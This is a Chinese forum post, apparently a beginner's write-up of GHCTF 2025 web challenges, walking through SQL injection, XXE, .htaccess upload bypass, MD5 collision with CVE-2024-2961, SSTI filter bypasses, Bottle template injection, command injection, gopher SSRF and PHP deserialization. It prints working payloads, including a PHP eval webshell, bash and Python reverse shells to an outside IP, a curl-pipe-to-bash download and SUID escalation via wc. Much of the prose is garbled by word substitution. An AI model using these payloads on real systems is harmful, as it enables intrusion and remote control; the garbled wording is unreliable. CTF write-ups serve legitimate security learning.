GHCTF 2025 web 萌新初探wp

[复制链接]
发表于 2025-10-2 15:03:36 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
ctf萌新第一次写wp,如有错误请师傅们指出


[GHCTF 2025]SQL???

打开靶机是一个用户查询的页面,团结标题名称推测是sql注入,但是通例方法都试过了没办法注入,其时也是很懵逼,厥后一个同砚用sqlmap一扫说是提示sqlite注入,这才名顿开。
sqlite是除mysql外另一个数据库,语法与mysql相比轻微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题乃至连过滤都没有。
查字段数

  1. ?id=1 union select 1,2,3,4,5
复制代码


查表名和列名

  1. ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;
复制代码

查询数据

  1. ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
复制代码
  1. union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
复制代码
得到flag
官方wp

查字段数

  1. id=1 order by 5
复制代码
检察表

  1. union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
复制代码
查数据

  1. union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
复制代码
[GHCTF 2025](>﹏<)

打开是一段代码
  1. from flask import Flask,request
  2. import base64
  3. from lxml import etree
  4. import re
  5. app = Flask(__name__)
  6. ​
  7. @app.route('/')
  8. def index():
  9.      return open(__file__).read()
  10. ​
  11. ​
  12. @app.route('/ghctf',methods=['POST'])
  13. def parse():
  14.      xml=request.form.get('xml')
  15.      print(xml)
  16.      if xml is None:
  17.          return "No System is Safe."
  18.      parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
  19.      root = etree.fromstring(xml, parser)
  20.      name=root.find('name').text
  21.      return name or None
  22. ​
  23. ​
  24. ​
  25. if __name__=="__main__":
  26.      app.run(host='0.0.0.0',port=8080)
复制代码
看到flask看到lxml,差不多能猜到是xxe毛病,毛病点是第18行这段代码和lxml库的利用。
我们看到可以在/ghctf目次下利用post方式传参xml,这里只须要对xml构造xxe攻击payload即可。
实验在ghctf路由下post传入xml的值
  1. <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>
复制代码
发现无法传入,我们实验抓包上传
直接上传的话会报500错误,我们须要把xml的值url编码一下再上传

拿到flag
官方wp

  1. <?xml version="1.0"?>
  2. <!DOCTYPE test[
  3. <!ENTITY nn SYSTEM "file:///flag">
  4. ]>
  5. <user>
  6. <name>&nn;</name>
  7. <age>18</age>
  8. </user>
复制代码
[GHCTF 2025]UPUPUP

这个题我不会,直接看官方wp
官方wp

考点:getimagesize和exif_imagetype绕过
apache 的服务器, 很轻易想到 .htaccess;但是后端检测了 mine 范例, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来表明, 厥后相识到另有 \x00
.htacess

  1. #define width 1
  2. #define height 1
  3. <FilesMatch "hey.hey">
  4. SetHandler application/x-httpd-php
  5. </FilesMatch>
复制代码
然后上传hey.hey,content-type是image/jpeg
  1. #define width 1
  2. #define height 1
  3. <?php eval($_REQUEST[1]);?>
复制代码
蚁剑毗连检察flag即可
[GHCTF 2025]ez_readfile

打开是一段代码
  1.   <?php
  2.    show_source(__FILE__);
  3.    if (md5($_POST['a']) === md5($_POST['b'])) {
  4.        if ($_POST['a'] != $_POST['b']) {
  5.            if (is_string($_POST['a']) && is_string($_POST['b'])) {
  6.                echo file_get_contents($_GET['file']);
  7.            }
  8.        }
  9.    }
  10. ?>
复制代码
三个if判定是md5强碰撞,这个我们可以用fastcoll天生md5碰撞字符
fastcoll的用法

我们找到fastcoll文件路径,找到fastcoll.exe
我们在这个文件的文件夹下新建一个1.txt,名字恣意,然后往里恣意输入一些内容好比一个数字1
然后生存这个文件,关闭,把他拖进fastcoll,一段时间后会天生两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式
  1. <?php
  2. class CDUTSEC{
  3.      public $var1;
  4.      public $var2;
  5. }
  6. ​
  7. $tr = new CDUTSEC();
  8. $tr->var1 = file_get_contents('E:\\1_msg1.txt');         
  9. $tr->var2 = file_get_contents('E:\\1_msg2.txt');
  10. ​
  11. echo urlencode($tr->var1);
  12. echo "\n\n";
  13. echo urlencode($tr->var2);
复制代码
修改刚才天生的两个文件的路径,运行这段代码,就可以得到颠末url编码的两个颠末md5强碰撞的值
然后就可以向靶机传入a和b的值,三个if判定条件就都可以满意
这里注意不能直接从网页传参,要用bp抓包传参,由于url解码后存在%00不可见字符,直接传参会被吞,利用bp抓包传参就可以克制这种环境。

可以看到已经可以读取文件/etc/passwd,阐明判定已经买通,下面就是怎样读取flag的标题。
这里用到的知识点是CVE-2024-2961毛病,即file_get_contents文件读取rce毛病
我们可以利用脚本将这里的文件读取变成恣意下令实验。
这里我们须要用到两个文件,通过恣意文件下载获取目的的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目次,然后运
行脚本即可天生php://filter/的RCE payload
maps文件路径就是/proc/self/maps,而libc-2.x.so文件的路径在maps文件内里,我们在maps文件中搜刮libc-2,检察文件路径。由于直接访问so文件读出来是乱码,以是可以filter协议base64格式读取,然后cyberchef解base64编码直接下载解码文件用就可以。

这里我们须要修改三个地方,第一个是第338行的maps,把生存的maps.txt文件生存到和脚本同一目次下,改成我们本地的maps文件的名字。第二个就是cmd的值,这里是一个反弹shell的下令,我们也可以将一句话木马写入shell.php访问。第三个就是352行的so文件的名字,同样的把下载的文件放在和脚本同一目次下,修改名字,然后就可以运行了,得到payload,运行,读取flag。
官方wp(非预期解法)

阅读官方wp后我相识到这种题有一种非预期解法,那就是敏感文件读取。这里引用一下wp的原话。
有出过题的,⼤部门都是采⽤GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags 这⾥⾯的模版。⼀般出题过程中,为了⽅便,不去修改dockerfile⽂件,都会直接在容器内修改,然后再 commit⽣成镜像。 ⾥⾯的php出题模版中,有⼀个容器启动下令⽂件docker-entrypoint.sh。可以看到该下令⽂件在容器初 始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜须要运⾏该⽂件。因此有的出题者为了 ⽅便大概就不删除该⽂件,这时间就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就 可以大概获取路径。
以是我们可以直接访问docker-entrypoint.sh文件,看一下能不能直接找到flag文件储存的位置。

这里读到了flag的储存位置,我们直接访问

乐成拿到flag。
[GHCTF 2025]upload?SSTI!

打开靶机是一个文件上传页面,标题提示是ssti,以是我们开始找注入点,文件上传ssti常见注入点是文件名和文件内容。我们实验上传t1.txt文件,文件内容是{{2*2}},发现上传乐成,路径是/app/static/uploads/1.txt,但是这个路径我们似乎并不能直接访问。这个题另有一个附件刚才没注意,我们下载附件检察一下发现是源码,我们看到render_template_string是ssti毛病点,往上面找/file目次下的文件是我们要读的文件。我们读取/file/1.txt,页面回显4,确定存在ssti毛病,但是源码中过滤了很多东西,这里我们利用过滤器来举行绕过。
  1. 1.绕过了下划线,我们利用select|string绕过
  2. {%set xhx=({}|select()|string())[24]%}
  3. 2.过滤了os,我们利用dict拼接绕过
  4. {%set o=dict(o=1,s=2)|join%}
  5. 3.过滤了subclasses,我们同样利用dict拼接绕过,但是ssti注入时格式是__subclasses__,所以要用到xhx绕过的下划线
  6. {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
  7. 4.其他同理
复制代码
如许一来我们得到了一长串可以举行绕过的过滤器
  1. {%set xhx=({}|select()|string())[24]%}
  2. {%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
  3. {%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
  4. {%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
  5. {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
  6. {%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
  7. {%set pop="nepop"|reverse%}
  8. {%set o=dict(o=1,s=2)|join%}
  9. {{config[ini][glo][o][pop]("cat /fla*").read()}}
复制代码
上传访问/file/1.txt得到flag
官方wp

官方给出的wp是利用request.args来绕过
  1. {{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
  2. ?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__
复制代码

[GHCTF 2025]Message in a Bottle


一个留言板,刚开始以为是xss毛病,实验alert也确实弹窗,但是一顿操纵下来发现xss毛病无法获取flag,我们看一下附件带的源代码
  1. from bottle import Bottle, request, template, run
  2. ​
  3. ​
  4. app = Bottle()
  5. ​
  6. # 存储留言的列表
  7. messages = []
  8. def handle_message(message):
  9.      message_items = "".join([f"""
  10.          <div class="message-card">
  11.              <div class="message-content">{msg}</div>
  12.              <small class="message-time">#{idx + 1} - 刚刚</small>
  13.          </div>
  14.      """ for idx, msg in enumerate(message)])
  15. ​
  16.      board = f"""<!DOCTYPE html>
  17.      <html lang="zh">
  18.      <head>
  19.          <meta charset="UTF-8">
  20.          <meta name="viewport" content="width=device-width, initial-scale=1.0">
  21.          <title>简约留言板</title>
  22.          <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
  23.           <style>
  24.              :root {{
  25.                  --primary-color: #4a90e2;
  26.                  --hover-color: #357abd;
  27.                  --background-color: #f8f9fa;
  28.                  --card-background: #ffffff;
  29.                  --shadow-color: rgba(0, 0, 0, 0.1);
  30.              }}
  31. ​
  32.              body {{
  33.                  background: var(--background-color);
  34.                  min-height: 100vh;
  35.                  padding: 2rem 0;
  36.                  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  37.              }}
  38. ​
  39.              .container {{
  40.                  max-width: 800px;
  41.                  background: var(--card-background);
  42.                  border-radius: 15px;
  43.                  box-shadow: 0 4px 6px var(--shadow-color);
  44.                  padding: 2rem;
  45.                  margin-top: 2rem;
  46.                  animation: fadeIn 0.5s ease-in-out;
  47.              }}
  48. ​
  49.              @keyframes fadeIn {{
  50.                  from {{ opacity: 0; transform: translateY(20px); }}
  51.                  to {{ opacity: 1; transform: translateY(0); }}
  52.              }}
  53. ​
  54.              .message-card {{
  55.                  background: var(--card-background);
  56.                  border-radius: 10px;
  57.                  padding: 1.5rem;
  58.                  margin: 1rem 0;
  59.                  transition: all 0.3s ease;
  60.                  border-left: 4px solid var(--primary-color);
  61.                  box-shadow: 0 2px 4px var(--shadow-color);
  62.              }}
  63. ​
  64.              .message-card:hover {{
  65.                  transform: translateX(10px);
  66.                  box-shadow: 0 4px 8px var(--shadow-color);
  67.              }}
  68. ​
  69.              .message-content {{
  70.                  font-size: 1.1rem;
  71.                  color: #333;
  72.                  line-height: 1.6;
  73.                  margin-bottom: 0.5rem;
  74.              }}
  75. ​
  76.              .message-time {{
  77.                  color: #6c757d;
  78.                  font-size: 0.9rem;
  79.                  display: block;
  80.                  margin-top: 0.5rem;
  81.              }}
  82. ​
  83.              textarea {{
  84.                  width: 100%;
  85.                  height: 120px;
  86.                  padding: 1rem;
  87.                  border: 2px solid #e9ecef;
  88.                  border-radius: 10px;
  89.                  resize: vertical;
  90.                  font-size: 1rem;
  91.                  transition: border-color 0.3s ease;
  92.              }}
  93. ​
  94.              textarea:focus {{
  95.                  border-color: var(--primary-color);
  96.                  outline: none;
  97.                  box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
  98.              }}
  99. ​
  100.              .btn-custom {{
  101.                  background: var(--primary-color);
  102.                  color: white;
  103.                  padding: 0.8rem 2rem;
  104.                  border-radius: 10px;
  105.                  border: none;
  106.                  transition: all 0.3s ease;
  107.                  font-weight: 500;
  108.                  text-transform: uppercase;
  109.                  letter-spacing: 0.05rem;
  110.              }}
  111. ​
  112.              .btn-custom:hover {{
  113.                  background: var(--hover-color);
  114.                  transform: translateY(-2px);
  115.                  box-shadow: 0 4px 8px var(--shadow-color);
  116.              }}
  117. ​
  118.              h1 {{
  119.                  color: var(--primary-color);
  120.                  text-align: center;
  121.                  margin-bottom: 2rem;
  122.                  font-weight: 600;
  123.                  font-size: 2.5rem;
  124.                  text-shadow: 2px 2px 4px var(--shadow-color);
  125.              }}
  126. ​
  127.              .btn-danger {{
  128.                  transition: all 0.3s ease;
  129.                  padding: 0.6rem 1.5rem;
  130.                  border-radius: 10px;
  131.                  text-transform: uppercase;
  132.                  letter-spacing: 0.05rem;
  133.              }}
  134. ​
  135.              .btn-danger:hover {{
  136.                  transform: translateY(-2px);
  137.                  box-shadow: 0 4px 8px var(--shadow-color);
  138.              }}
  139. ​
  140.              .text-muted {{
  141.                  font-style: italic;
  142.                  color: #6c757d !important;
  143.              }}
  144. ​
  145.              @media (max-width: 576px) {{
  146.                  h1 {{
  147.                      font-size: 2rem;
  148.                  }}
  149.                  .container {{
  150.                      padding: 1.5rem;
  151.                  }}
  152.                  .message-card {{
  153.                      padding: 1rem;
  154.                  }}
  155.              }}
  156.          </style>
  157.      </head>
  158.      <body>
  159.          <div class="container">
  160.              <div class="d-flex justify-content-between align-items-center mb-4">
  161.                  <h1 class="mb-0">📝 简约留言板</h1>
  162.                  <a
  163.                      href="/Clean"
  164.                      class="btn btn-danger"
  165.                      onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
  166.                  >
  167.                      🗑️ 一键清理
  168.                  </a>
  169.              </div>
  170. ​
  171.              <form action="/submit" method="post">
  172.                  <textarea
  173.                      name="message"
  174.                      placeholder="输入payload暴打出题人"
  175.                      required
  176.                  ></textarea>
  177.                  <div class="d-grid gap-2">
  178.                      <button type="submit" class="btn-custom">发布留言</button>
  179.                  </div>
  180.              </form>
  181. ​
  182.              <div class="message-list mt-4">
  183.                  <div class="d-flex justify-content-between align-items-center mb-3">
  184.                      <h4 class="mb-0">最新留言({len(message)}条)</h4>
  185.                      {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
  186.                  </div>
  187.                  {message_items}
  188.              </div>
  189.          </div>
  190.      </body>
  191.      </html>"""
  192.      return board
  193. ​
  194. ​
  195. ​
  196. def waf(message):
  197.      return message.replace("{", "").replace("}", "")
  198. ​
  199. ​
  200. @app.route('/')
  201. def index():
  202.      return template(handle_message(messages))
  203. ​
  204. ​
  205. @app.route('/Clean')
  206. def Clean():
  207.      global messages
  208.      messages = []
  209.      return '<script>window.location.href="/"</script>'
  210. ​
  211. @app.route('/submit', method='POST')
  212. def submit():
  213.      message = waf(request.forms.get('message'))
  214.      messages.append(message)
  215.      return template(handle_message(messages))
  216. ​
  217. ​
  218. if __name__ == '__main__':
  219.      run(app, host='localhost', port=9000)
复制代码
看末了就可以了,源码可以看出这是一个以bottle为模板的ssti毛病,而且过滤了大括号。
ssti好说,过滤这个大括号就难办很多,颠末多次实验绕过无果,遂查找bottle官方文档
https://bottlepy.org/docs/dev/stpl.html#embedded-python-code
可以看到没有大括号的环境下仍旧有办法实验python代码
  1. <div>
  2.   % if True:
  3.    <span>content</span>
  4.   % end
  5. </div>
复制代码
由于if判定有一个特性:
if语句在模板渲染时肯定会实验条件表达式(无论条件真假)
也就是说只要把代码写在if背面就肯定能实验写入的代码
我们导入os模块
  1. <div>
  2.   % if __import__('os').popen('sleep 4').read():
  3.    123
  4.   % end
  5. </div>
复制代码
看到页面确实停顿了四秒,下令乐成实验,我们实验读取目次文件
  1. <div>
  2.   % if __import__('os').popen('ls /').read():
  3.    123
  4.   % end
  5. </div>
复制代码
没有回显,只能实验反弹shell
在自己的服务器监听6666端口
  1. nc -lvn 6666
复制代码
然后传入payload
  1. <div>
  2.   % if __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/6666  0>&1'").read():
  3.    123
  4.   % end
  5. </div>
复制代码
服务器乐成弹到shell

然后就可以读取根目次文件,找到flag

另一种解法

在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码。
如许就可以绕过 { 了,但是我们的 % 地点的那⼀⾏ % 的前面只能有空缺字符,我们直接换行即可
  1. % __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/4444  0>&1'").read()
复制代码
弹到shell,读取flag

官方wp

同样是嵌入python代码,在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码,但是%地点的那一行的前面只能有空缺字符,我们直接换行即可
  1.  ​
复制代码
  1. %__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.xxx",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'").read()
复制代码

[GHCTF 2025]GetShell

特殊长一串代码,直接扔给ai,给出payload: action=run&input=xxx
input背面的内容是可以实验的,我们实验ls /;,发现空格过滤,绕过一下
有回显,实验cat /flag,不出不测是没有回显的,实验反弹shell。一番操纵下来直接在input写bash似乎不可,那就先在input这里写一个马,然后马文件下再写反弹shell
起首在服务器终端输入
  1. python3 -m http.server 2333
复制代码
开放2333端口,使文件可以被访问,然后在靶机传入
  1. ?action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbMF0pO3BocGluZm8oKTs/Pg=="|${IFS}base64${IFS}-d>1.php
复制代码
把一句话马写进1.php,访问这个文件,查抄一句话木马是否能用,然后准备反弹shell
新开一个服务器终端,输入
  1. nc -lvn 4444
复制代码
开放4444端口
在1.php页面下post传入
  1. 0=system("curl http://123.56.103.169:6666/1.txt|bash");
复制代码
检察服务器终端是否乐成弹到shell

出现connection即为反弹乐成,实验读取flag,发现没有权限访问,我们这里举行suid提权
起首find探求有root权限的文件
  1.  find / -perm -4000 2>/dev/null
复制代码

看到wc文件,利用这个文件读flag
我们先
  1.  /var/www/html/wc --help
复制代码
发现指令
  1.  /var/www/html/wc --files0-from=/flag
复制代码
拿到flag
[GHCTF 2025]Goph3rrr

dirsearch扫出泉源码,代码审计发现是一个ssrf毛病


由于Manage路由下post传入cmd能在os模块中实验下令,这里就是我们要利用的点,我们先在Manage路由下抓一个post包,令cmd=env直接看环境变量

然后由于我们要利用gopher协议,以是这里准备构造post文件头
  1.  POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 ​
  2.  cmd=env ​
复制代码
然后在Gopher路由下抓一个get包,打gopher协议

然后这里举行url编码时要注意了,post背面的内容直接两次url编码打不通,颠末大佬点拨才知道编码方式

以是先编码下划线背面的部门,再编码url=背面的部门,我们一步一步来
第一步

第二步

发送哀求包,得到flag

官方wp

  1. GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
  2. F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
  3. m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
  4. Host: node2.anna.nssctf.cn:28301
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/2010
  6. 0101 Firefox/136.0
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  8. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
  9. 0.2
  10. Accept-Encoding: gzip, deflate
  11. Connection: close
  12. Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741
  13. 254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HM
  14. ACCOUNT=CAF3E7684A636B01
  15. Upgrade-Insecure-Requests: 1
  16. Priority: u=0, i
复制代码
不外不知道为什么官方wp我打不通
[GHCTF 2025]Popppppp

很显着的php反序列化,开始探求链尾
一脸懵逼的找了一圈没找到寻常要找的类似eval的能实验下令的地方,这个题我直接在开头卡住了
厥后颠末师哥提示这个题的做法是php原生类反序列化
参考文章
CTF中PHP原生类的妙用 | X1ong
从文章里我们可以看到两个原生类,一个是列出目次文件类,一个是读取文件内容类,二者代码差不多,我们跟这道题来对比一下
  1. <?php
  2. highlight_file(__FILE__);
  3. $dir = $_GET['x1ongsec'];
  4. $obj = new DirectoryIterator($dir);
  5. foreach ($obj as $file) {
  6.      echo $file->__toString() . "</br>";
  7. }
复制代码
本题关键部门源码
  1. class Mystery {
  2. ​
  3.      public function __get($arg1) {
  4.          array_walk($this, function ($day1, $day2) {
  5.              $day3 = new $day2($day1);
  6.              foreach ($day3 as $day4) {
  7.                  echo ($day4 . '<br>');
  8.              }
  9.          });
  10.      }
  11. }
复制代码
可以看到
  1. $obj = new DirectoryIterator($dir);
  2. foreach ($obj as $file) {
  3.      echo $file->__toString() . "</br>";
  4.      
  5. $day3 = new $day2($day1);
  6.              foreach ($day3 as $day4) {
  7.                  echo ($day4 . '<br>');
复制代码
很显着day2=DirectoryIterator,day1=要检察的文件的路径
由于本题中day1和day2的值由array_walk的结果决定,array_walk对当前类举行遍历,以是我们要在当前类添加一个public属性,如许一来属性名就是day2,属性内容就是day1。
以是我们添加一个
  1.  public $DirectoryIterator='/';
复制代码
就可以利用这个原生类来检察文件目次了


但是如许还不敷,我们从链尾开始顺着网上找发现Philosopher类有一个md5弱范例比力须要绕过

fruit11颠末两次md5加密须要于666弱比力相称,以是fruit11颠末两次md5加密后只要以666+字母开头的情势就可以了,直接丢给ai让他写脚本,然后我们在纯数字里探求由于如许找的快,很快跑出来213符合条件,我们令fruit11=213,剩下的链子就很清晰了
payload

运行提交

找到flag存在的文件,我们用另一个原生类读取,用法也很简朴

把DirectoryIterator改成SplFileObject即可,提交payload

拿到flag
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表